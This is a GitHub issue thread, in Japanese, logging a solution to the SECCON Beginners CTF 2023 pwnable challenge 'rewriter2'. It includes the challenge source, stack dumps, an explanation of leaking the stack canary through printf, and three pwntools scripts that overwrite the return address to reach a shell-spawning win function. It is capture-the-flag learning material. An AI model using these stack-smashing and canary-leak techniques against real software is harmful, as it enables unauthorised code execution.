roaris / ctf-log

0 stars 0 forks source link

SECCON Beginners CTF 2023: rewriter2 #51

Open roaris opened 5 months ago

roaris commented 5 months ago

https://github.com/SECCON/SECCON_Beginners_CTF_2023/tree/main/pwnable/rewriter2

roaris commented 5 months ago
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}
$ checksec rewriter2 
[*] '/home/roaris/SECCON_Beginners_CTF_2023/pwnable/rewriter2/files/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
roaris commented 5 months ago
$ ./rewriter2 

 [Addr]             | [Value]            
====================+===================
 0x00007ffc76fed4f0 | 0x0000000000000000  <- buf
 0x00007ffc76fed4f8 | 0x00007feb9fbe3780 
 0x00007ffc76fed500 | 0x0000000000000000 
 0x00007ffc76fed508 | 0x00007feb9fa913a1 
 0x00007ffc76fed510 | 0x0000000000000000 
 0x00007ffc76fed518 | xxxxx hidden xxxxx  <- canary
 0x00007ffc76fed520 | 0x0000000000000001  <- saved rbp
 0x00007ffc76fed528 | 0x00007feb9fa366ca  <- saved ret addr
 0x00007ffc76fed530 | 0x0000000000000000 
 0x00007ffc76fed538 | 0x00000000004011f6 

What's your name? test
Hello, test

 [Addr]             | [Value]            
====================+===================
 0x00007ffc76fed4f0 | 0x0000000a74736574  <- buf
 0x00007ffc76fed4f8 | 0x00007feb9fbe3780 
 0x00007ffc76fed500 | 0x0000000000000000 
 0x00007ffc76fed508 | 0x00007feb9fa913a1 
 0x00007ffc76fed510 | 0x0000000000000000 
 0x00007ffc76fed518 | xxxxx hidden xxxxx  <- canary
 0x00007ffc76fed520 | 0x0000000000000001  <- saved rbp
 0x00007ffc76fed528 | 0x00007feb9fa366ca  <- saved ret addr
 0x00007ffc76fed530 | 0x0000000000000000 
 0x00007ffc76fed538 | 0x00000000004011f6 

How old are you? 10
Thank you!

 [Addr]             | [Value]            
====================+===================
 0x00007ffc76fed4f0 | 0x0000000a740a3031  <- buf
 0x00007ffc76fed4f8 | 0x00007feb9fbe3780 
 0x00007ffc76fed500 | 0x0000000000000000 
 0x00007ffc76fed508 | 0x00007feb9fa913a1 
 0x00007ffc76fed510 | 0x0000000000000000 
 0x00007ffc76fed518 | xxxxx hidden xxxxx  <- canary
 0x00007ffc76fed520 | 0x0000000000000001  <- saved rbp
 0x00007ffc76fed528 | 0x00007feb9fa366ca  <- saved ret addr
 0x00007ffc76fed530 | 0x0000000000000000 
 0x00007ffc76fed538 | 0x00000000004011f6 
roaris commented 5 months ago

checksecの結果からSSPが有効になっていることが分かる main関数実行時のスタックの状態は以下のようになっている

アドレス サイズ 内容
buf(rbp-0x30) 0x20 バッファ
rbp-0x10 0x8 未使用
rbp-0x8 0x8 canary
rbp 0x8 呼び出し元のrbp
rbp+0x8 0x8 main関数の戻りアドレス

main関数の戻りアドレスを、win関数のアドレスに書き換えたいが、SSPが有効になっており、canaryを書き換えてしまうと強制終了してしまう

roaris commented 5 months ago

printfでcanaryを漏洩させることを考える 実験のために、canaryを出力させるような自分用のプログラム(my_src.c)を作る

$ diff src.c my_src.c
39,40c39,40
<       printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
<              (unsigned long)&ptr[i]);
---
>       printf(" 0x%016lx | 0x%016lx  <- canary\n",
>              (unsigned long)&ptr[i], ptr[i]);

https://github.com/SECCON/SECCON_Beginners_CTF_2023/blob/main/pwnable/rewriter2/build/Makefile#L3 のコマンドでコンパイルする gccはデフォルトでSSPが有効になっているらしいが、どういうわけか自分の環境では-fstack-protectorオプションを明示しないと有効にならなかった gcc -Wl,-z,relro,-z,now -o my_rewriter2 -no-pie my_src.c -fstack-protector

roaris commented 5 months ago

[Value]はリトルエンディアンで並んでいることに注意 canaryは実行のたびに変化するが、どうやら先頭1バイトは毎回0x00のようだ

$ ./my_rewriter2 

 [Addr]             | [Value]            
====================+===================
 0x00007fff06bfaff0 | 0x0000000000000000  <- buf
 0x00007fff06bfaff8 | 0x0000000000000000 
 0x00007fff06bfb000 | 0x0000000000000000 
 0x00007fff06bfb008 | 0x00007f456a9f4780 
 0x00007fff06bfb010 | 0x0000000000000000 
 0x00007fff06bfb018 | 0x4dea883a5576a500  <- canary
 0x00007fff06bfb020 | 0x0000000000000001  <- saved rbp
 0x00007fff06bfb028 | 0x00007f456a8066ca  <- saved ret addr
 0x00007fff06bfb030 | 0x00007fff06bfb120 
 0x00007fff06bfb038 | 0x0000000000401186 

What's your name?
roaris commented 5 months ago

What's your name?に対して、aを40文字与えると、以下のようになる aを40文字与えた後に改行しているので、canaryの先頭バイトが0x0aになっていることに注目

$ ./my_rewriter2 

 [Addr]             | [Value]            
====================+===================
 0x00007ffc5dd0ba80 | 0x0000000000000000  <- buf
 0x00007ffc5dd0ba88 | 0x0000000000000000 
 0x00007ffc5dd0ba90 | 0x0000000000000000 
 0x00007ffc5dd0ba98 | 0x00007ff1fa5bb780 
 0x00007ffc5dd0baa0 | 0x0000000000000000 
 0x00007ffc5dd0baa8 | 0x94eee96c1f9c4b00  <- canary
 0x00007ffc5dd0bab0 | 0x0000000000000001  <- saved rbp
 0x00007ffc5dd0bab8 | 0x00007ff1fa3cd6ca  <- saved ret addr
 0x00007ffc5dd0bac0 | 0x00007ffc5dd0bbb0 
 0x00007ffc5dd0bac8 | 0x0000000000401186 

What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
K�l��

 [Addr]             | [Value]            
====================+===================
 0x00007ffc5dd0ba80 | 0x6161616161616161  <- buf
 0x00007ffc5dd0ba88 | 0x6161616161616161 
 0x00007ffc5dd0ba90 | 0x6161616161616161 
 0x00007ffc5dd0ba98 | 0x6161616161616161 
 0x00007ffc5dd0baa0 | 0x6161616161616161 
 0x00007ffc5dd0baa8 | 0x94eee96c1f9c4b0a  <- canary
 0x00007ffc5dd0bab0 | 0x0000000000000001  <- saved rbp
 0x00007ffc5dd0bab8 | 0x00007ff1fa3cd6ca  <- saved ret addr
 0x00007ffc5dd0bac0 | 0x00007ffc5dd0bbb0 
 0x00007ffc5dd0bac8 | 0x0000000000401186 

How old are you?

0x00に到達するまでがprintfで出力されることによって、canaryが漏洩する canaryが先頭バイト以外にも0x00が含まれていたら上手くいかないが、その場合でも何回かやれば問題ない

漏洩したcanaryを使って、main関数の戻りアドレスをwin関数のアドレスに書き換える

参考1 : https://inaz2.hatenablog.com/entry/2014/06/16/001809 参考2 : https://ctf101.org/binary-exploitation/stack-canaries/

roaris commented 5 months ago

以下のプログラムを書いた win関数のアドレスはnmコマンドやobjdumpコマンドで分かる

from pwn import *

win_addr = 0x4012c2

io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()

これを実行すると、Conguratulations!と出てくるものの、セグメントフォールトが発生する

$ python exploit.py 
[+] Starting local process './rewriter2': pid 10025
[*] Switching to interactive mode
Thank you!

 [Addr]             | [Value]            
====================+===================
 0x00007fffd9cd86b0 | 0x6161616161616161  <- buf
 0x00007fffd9cd86b8 | 0x6161616161616161 
 0x00007fffd9cd86c0 | 0x6161616161616161 
 0x00007fffd9cd86c8 | 0x6161616161616161 
 0x00007fffd9cd86d0 | 0x6161616161616161 
 0x00007fffd9cd86d8 | xxxxx hidden xxxxx  <- canary
 0x00007fffd9cd86e0 | 0x6161616161616161  <- saved rbp
 0x00007fffd9cd86e8 | 0x00000000004012c2  <- saved ret addr
 0x00007fffd9cd86f0 | 0x000000000000000a 
 0x00007fffd9cd86f8 | 0x00000000004011f6 

Congratulations!
[*] Got EOF while reading in interactive
$ ls
[*] Process './rewriter2' stopped with exit code -11 (SIGSEGV) (pid 10025)
[*] Got EOF while sending in interactive
roaris commented 5 months ago

system関数の中ではmovaps命令というのが呼ばれていて、この時rspレジスタが16バイトアラインメントされている(=rspレジスタの値が16の倍数である)必要があるらしい

なので、ret命令を挟むことで、rspレジスタを8バイトずらしてから実行することで上手くいく ret命令のアドレスはobjdumpコマンドから分かる

from pwn import *

ret_addr = 0x40101a
win_addr = 0x4012c2

io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + ret_addr.to_bytes(8, 'little') + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()

もしくは、win関数中のmov rbp, rspから処理を始めれば、その前のpush rbpが実行されなくなるので、rspレジスタが8バイトずらせる

00000000004012c2 <win>:
  4012c2:   f3 0f 1e fa             endbr64
  4012c6:   55                      push   rbp
  4012c7:   48 89 e5                mov    rbp,rsp
from pwn import *

win_addr = 0x4012c7

io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()